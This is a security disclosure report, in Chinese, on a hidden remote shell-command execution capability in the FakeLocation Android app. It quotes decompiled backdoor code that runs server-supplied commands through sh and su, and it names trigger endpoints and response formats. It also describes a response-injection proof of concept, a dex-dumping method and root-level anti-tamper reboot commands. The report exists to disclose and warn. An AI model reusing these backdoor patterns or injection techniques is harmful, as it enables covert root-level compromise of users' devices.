FakeLocation 未公开执行服务端下发的 shell 命令

报告人: tyldx · tyldx@proton.me · 2026-11

1. 摘要

FakeLocation 是一款 Android 应用, 让用户模拟设备的 GPS 定位, 用于模拟定位与路线模拟; 其可选的 ROOT 模式需用户授予 root 权限。执行服务端下发的 shell 命令并非实现该用途所必需, 也不属于应用已公开 的功能。

该能力在 1.3.5-beta 与 1.3.10 之间引入: 1.3.5-beta (versionCode 1593) 及更早确认不受影响; 1.3.10、1.5.0、1.5.2 (versionCode 1673-1702) 确认受影响, 区间内其余版本推定受影响。在受影响版本中, 客户端未经用户确认即解析并执行特定接口 响应中的 shell 命令。存在三条此类服务端可控路径, 服务端只要让响应以 `10000:` 开头或返回 `code==10000`, 应用即以应用权限执行任意命令; 其中两条经 `su` 执行, 仅在应用已获 root 时命令才以 root 身份运行。其中一条在启动时、用户同意首启条款之前即触发。隐私政策与用户协议均未披露此能力。

该能力仅存在于运行时解密的 dex 中, 并用加壳、字符串加密、命令字符串拆段等方式隐藏。证书锁定使任意 网络攻击者无法通过中间人触发这些路径 (基于静态分析); 可触发方为: 运营服务器并持有其私钥的开发者, 以及攻破该服务器或窃取私钥者, 后者会波及所有运行受影响版本的设备。

2. 受影响产品

- 名称: Fake Location (Google Play 名 "Fake Location - Mock GPS&Route")。
- 两个构建:
  - 官网/GitHub 版: 包名 `com.lerist.fakelocation` (代码 flavor=CN), 经官网 fakeloc.cc/app 与 GitHub Releases (Lerist/FakeLocation) 分发, 不在任何应用商店。
  - Play 版: 包名 `dev.lerist.fakelocation`, Google Play 分发 (50K+ 安装)。
- 开发者: Lerist / 成都览一科技有限公司。
- 已检查版本: 1.3.2.3 (versionCode 1585)、1.3.5 (1588)、1.3.5-beta (1593) 确认不受影响; 1.3.10 (1673, Play 构建)、1.5.0 (1700 官网/GitHub, 1701 Play)、1.5.2 (1702, 两构建) 确认受影响。引入点在 1.3.5-beta (1593) 与 1.3.10 (1673) 之间。1673-1702 区间内其余公开版本未逐一检查, 推定受影响。 versionCode 非连续。两构建 (官网/GitHub 与 Play) 均受影响。
- 签名证书: `b55e7f6ccb63318b2cc4d3c45e6b148131061a2acd0a82725fe59e118d1ddafc` (CN=Lerist., O=成都览一科技有限公司; 官网/GitHub 版全部, 及旧 Play <=1.3.5-beta); `d9ad7175f80ebed780b0c7c61b7c788827ad4d1953e0381feddd2fa0431f0362` (Play 1.3.10 起, Play 应用签名)。
- 样本 SHA-256 (干净到受影响的分界, 以及 1.5.2 两个构建):

版本	versionCode	渠道	受影响	样本	SHA-256
1.3.5-beta	1593	Play (apkpure)	否 (最后干净)	apkpure_1.3.5-beta.xapk	`fd569fe0a89e3b733ca02c84862c997da442d1bb05fd7329d2d0954d1ce6594f`
1.3.10	1673	Play (apkpure)	是 (首个受影响)	apkpure_1.3.10.xapk	`eb625139e9f55e0627516c52d651a58f0b9b5bbbe3e5f0d71960c3136c42b135`
1.5.0	1700	官网/GitHub (CN)	是	github CN 1.5.0 apk	`7b78f2e9c0f06fdd7f44379f241cd2959f476f6958bb1bb215ebcd796651cd4b`
1.5.2	1702	官网/GitHub (CN)	是	单一 apk (官网与 GitHub 一致)	`5d2a2bad585e3d50c38621a002bcf7a8e0dcf5448fc045f58619fe7a491eaea1`
1.5.2	1702	Play	是	base.apk (app bundle)	`a4fa13cd318d6ad392bd6033a93e40bac5ac1eff90b65d7c526033aa8f679d24`

apkpure 的 1.3.5-beta/1.3.10 样本是 `.xapk` 容器 (打包的分包 APK), 哈希为容器哈希; Play 1.5.2 为 app bundle, 上表哈希为其 `base.apk`。

3. 漏洞类型

- 主: CWE-912 Hidden Functionality (隐藏功能)。此分类不要求判定意图, 仅需该功能未公开、超出规格、 用户无正常途径感知, 本报告据此评估。
- 相关: CWE-506 Embedded Malicious Code。结合加壳、字符串加密、命令拆段、静默执行等隐蔽手段, 该功能 呈现后门特征; 是否恶意属意图判断, 本报告以可观察事实为准, 此分类仅作参考。

4. 技术细节: 三条服务端可控 RCE 通道

混淆名取自对应版本运行时解密 dex 的反编译。以 Play 版 1.5.2 为主, 官网/GitHub 版对应类一并给出。三条通道共用同一命令出口 (Play `fv2.e(String[] cmds, boolean su, boolean b)` / 官网/GitHub 版 `z41`、`C13588.m51168`):

```
Process p = Runtime.getRuntime().exec(su ? "su" : "sh");  // 命令经 stdin 写入
```

4.1 通道一: getNotices → sh (两构建)

公告类 (Play `com.lerist.lib.notice.C6073` / 官网-GitHub 版 `C11241`) 在 getNotices 响应回调中:

```
String s = response.body().string();
if (s.startsWith("10000:")) {
    Runtime.getRuntime().exec(new String[]{"sh", "-c", s.substring(6)});
}
// 随后把 s 当作公告 JSON 解析, 对 "10000:..." 会抛异常并被 catch 吞掉
```

接口 `POST https://notice.api.fakeloc.cc:4430/Notice/getNotices`, 在应用启动的加载阶段请求; 其响应 一到达即被求值 `startsWith("10000:")`, 独立于首次安装的同意流程。实测 (见 6): 首装态下, 命令在首次 同意框仍显示、用户尚未点击"同意"时即已执行, 无需任何交互; 该行为也不在用户所同意的条款授权范围内 (见 4.4)。执行不读输出、不记日志、异常吞没, 用户无感。

4.2 通道二: 通用回调 code==10000 → su + sh (两构建)

同步回调 (Play `C3685.m13605`) 处理 Retrofit 响应包装对象, 失败分支:

```
int code = resp.getCode();
String message = resp.getMessage();
if (code == 10000 && !TextUtils.isEmpty(message)) {
    fv2.<exec>(message, /*su=*/true,  ...);  // su 执行
    fv2.<exec>(message, /*su=*/false, ...);  // sh 执行
}
```

走此同步回调 (su+sh) 的接口之一是 `POST /FakeLocation/goods/getRenewalGoodsList` (打开续费页时请求)。 另有异步回调变体 (`C3685.AbstractC3687.m13609`) 对 `code==10000` 仅执行 sh; 走它的接口包括启动时自动 请求的版本检查 `version/checkApkUpdate` (回调 `C5946 extends AbstractC3687`), 即该路径也在启动时以 应用 uid 执行命令。官网/GitHub 版对应类为 `C5901`, 语义相同。

4.3 通道三: 黑名单轮询 ver/vfs code==10000 → su + sh (仅官网/GitHub 版)

后台线程 (`RunnableC13518`, 由 `C13538.m51102` 在应用 ROOT 模式激活时启动) 每 2 至 7 分钟 `POST ver/vfs` 拉取禁止模拟定位的包名列表; 响应 `code==10000 && message 非空` 时:

```
C13588.m51168(new String[]{message}, /*su=*/true,  true);  // su
C13588.m51168(new String[]{message}, /*su=*/false, true);  // sh
```

此通道独立于界面, 应用在后台即定时轮询, 服务端可随时下发命令。Play 版未发现此线程。

4.4 传输与隐蔽

- 服务端 `*.api.fakeloc.cc:4430`, 备用 `*.lerist.dev`; DNS 走 DoH。
- 双向 TLS, 证书锁定到 Lerist 自签服务端证书 (`xp0.m10346`, BKS, 口令写死在代码; 公开版略去具体值)。信任库 `tp.png` 锁定服务端证书 (指纹 `60:5C:2B...`, 私钥不在应用内); 客户端证书 `tl.png` 含客户端 私钥 (指纹 `F1:11:05...`, 仅能冒充客户端)。两构建 `tp.png` 字节相同。主机名校验 (`HostnameVerifier.verify`) 恒返回 true, 属潜在弱点。
- 隐蔽: 业务代码仅存在于运行时解密的 dex (官网/GitHub 版 360 加固, Play 版自有加载器), 直接解包 APK 不可见; 字符串 XOR 加密; 敏感命令拆段拼接; 不记日志、异常吞没。
- 未授权: 隐私政策、用户协议、使用条款均未披露远程命令执行。协议中唯一涉及服务端控制的条款是《屏蔽作用的 APP 名单》(用户协议第 5.3 条), 原文仅称"对高风险 APP 采取技术措施进行功能作用屏蔽, 被屏蔽的应用将不能使用本软件的模拟数据", 范围限于禁用模拟功能, 不涉及执行 shell/root 命令。ROOT 风险提示也只说授予 root 会降低设备安全, 未告知应用会执行服务端下发的命令。故该功能既未披露, 亦不在用户所同意的授权范围内。
- 公开文本 (2026-11-04/05 存档) 均未披露远程命令执行: 隐私政策 https://archive.today/OK0Jk (2026-11-04); 用户协议 https://archive.today/Iulzs (2026-11-04); 使用条款 https://archive.today/MyhhH (2026-11-04); 下载页 https://archive.today/ZMnTg (2026-11-04)。

5. 影响与评级

- 能让接口返回上述指令的一方可在安装受影响版本的设备上执行任意 shell 命令; 应用已获 root 时 (该应用 ROOT 模式本就要求授予 root) 通道二、三以 root 执行。通道一在启动时、用户同意任何条款之前自动触发, 无需交互。构建到期机制 (见 8) 到期后通道三 (轮询) 停止, 通道一、二不受影响。

- 由于证书锁定且服务端私钥不在应用内, 任意第三方无法通过网络中间人触发 (基于静态分析)。实际可触发方为: 开发者本人 (持服务端私钥、运营服务器), 或攻破 Lerist 服务器/窃取其服务端私钥者。因此该功能既受开发者 控制, 也构成一处供应链单点: 一旦厂商基础设施被攻破, 即造成安装受影响版本设备的 RCE 与提权。
- CVSS v3.1 按通道分别评 (共同前缀 AV:N/AC:H/PR:N: 命令经网络下发, 需控制被证书锁定的服务端):
  - 通道一 (sh, 应用 uid): `AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H` = 8.1。命令限于应用自身权限 (S:U)。
  - 通道二 (su, root, 需打开续费页): `AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H` = 8.3。
  - 通道三 (su, root; 仅官网/GitHub 版, 需已激活 ROOT 模式, 激活后无需进一步交互): `AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H` = 9.0。
  - 整体以最严重的通道三计 9.0 (Critical)。口径说明: 若视厂商本人为攻击者 (对其无门槛) 取 AC:L, 各通道更高。
- CVSS v4.0 按通道分别评 (官方计算器):
  - 通道一 (sh, 应用 uid): `CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N` = 9.2。
  - 通道二 (su, root, 续费页): `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H` = 9.0。
  - 通道三 (su, root, 后台轮询): `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H` = 9.5。
  - 整体 9.5 (通道三)。AT:P (通道二、三) 反映需已授予应用 root (通道三还需激活 ROOT 模式); SC/SI/SA:H 反映越出应用取得 root (通道二、三), 通道一仅应用范围故取 N。通道三仅静态确认, 把 Exploit Maturity 设为 E:U 或 E:P 会降低其分数。

6. 概念验证

方法: LSPosed 模块仅 hook `okhttp3.internal.http.RealInterceptorChain.proceed`, 按请求 URL 改写 响应体, 触发应用自身的命令执行分支。不接触厂商服务器、不修改应用文件, 注入命令仅为 `id`。实测环境 Pixel 9 (KernelSU)。

构建	通道	触发方式	关键输出	验证
Play 1.5.2	一 (sh)	getNotices 响应改为 `10000:id>...`	`uid=10358(u0_a358) ... untrusted_app_34` (应用 uid)	实测
Play 1.5.2	二 (su)	打开续费页 → `goods/getRenewalGoodsList` 改为 `{"code":10000,...}`	`uid=0(root) ... u:r:ksu:s0`	实测
官网/GitHub 1.5.2	一 (sh)	getNotices 改写	`uid=10355(u0_a355) ... untrusted_app_27` (应用 uid)	实测
官网/GitHub 1.5.2	二 (su)	`goods/getRenewalGoodsList` 改写	`uid=0(root)`	实测
官网/GitHub 1.5.2	三 (su)	未触发	与通道二同一命令出口、同一 `code==10000` 机制	仅静态

通道一亦在同意前执行: 首装态下命令于首次同意框仍在屏、用户尚未点击"同意"时执行, 无需交互 (uiautomator 显示"同意"按钮在屏且未点击, topResumedActivity=MainActivity)。通道三 (轮询) 未实测驱动: 其线程需激活应用 ROOT 模式才启动 (会连带触发应用自身的注入与反篡改), 为避副作用未驱动。

边界: 此为客户端侧验证, 响应由本机注入, 证明客户端会执行服务端可控的命令, 未证明厂商服务器当前正在 下发。主证据是第 4 节的静态代码分支。

7. 复现与取证

- 运行时 dex 导出: 读 `/proc/<pid>/maps` 找解密 dex 区域 → dd 导出 → 按 dex 头 (大小偏移 32, class_defs 偏移 96) 切分 → jadx 反编译。字符串 XOR 解密算法: `明文[i] = a[i] ^ b[i % len(b)]`。
- 各版本关键类映射见上; 完整反编译与厂商 APK 未随本仓库分发 (厂商版权)。样本以第 2 节的 SHA-256 哈希标识。

8. 其他未公开行为 (佐证, 非核心)

以下为其他未公开行为。第一类服务端可控, 与上述通道同类; 后两类是本地自保护机制 (非服务端控制)。

服务端控制:

- 远程终止: 同类回调对 `code == 9999` 执行清理后 `System.exit(0)`, 服务端可远程结束客户端进程。

本地自保护 (仅官网/GitHub 版):

- 反篡改重启: 校验应用私有目录 md5 与 APK 大小/版本哈希, 不匹配则 root 执行 `killall system_server` (软重启) 或 `reboot`; 命令字符串拆段拼接以规避静态扫描。
- 构建到期机制: 构建时间戳 + 200 天, 到期后抛异常, 通道三 (轮询)、注入、初始化不再启动。 1.5.2 到期 2027-03-08, 1.5.0 已于 2026-10-26 到期。通道一、二不受此机制限制。

9. 用户处置建议

- 卸载受影响版本 (versionCode >= 1673, 即 1.3.10 及以后)。
- 撤销曾授予该应用的 root。
- 在已授 root 的设备上运行过受影响版本的, 应视为该设备可能已被下发过命令, 按受影响排查 (检查异常, 必要时重置)。

10. 披露时间线

- 2026-11-05: 向 MITRE 提交 CVE 申请。
- 2026-11-05: 公开本报告; 向 Google Play (违反从服务端下发并执行代码的政策) 与 GitHub (release 分发 含未公开代码的二进制) 举报。
- 未通知厂商: 涉及的代码存在于以厂商证书签名的发布版本中, 且厂商的服务器可触发相关功能。因此, 本报告 未采用事先协调披露, 而是直接公开并提交平台处理。仓库已于 2026-08-20 被作者归档。

方法: 逆向与运行时内存导出, 仅用于安全披露。

11. 报告人

tyldx (github.com/tyldx), tyldx@proton.me。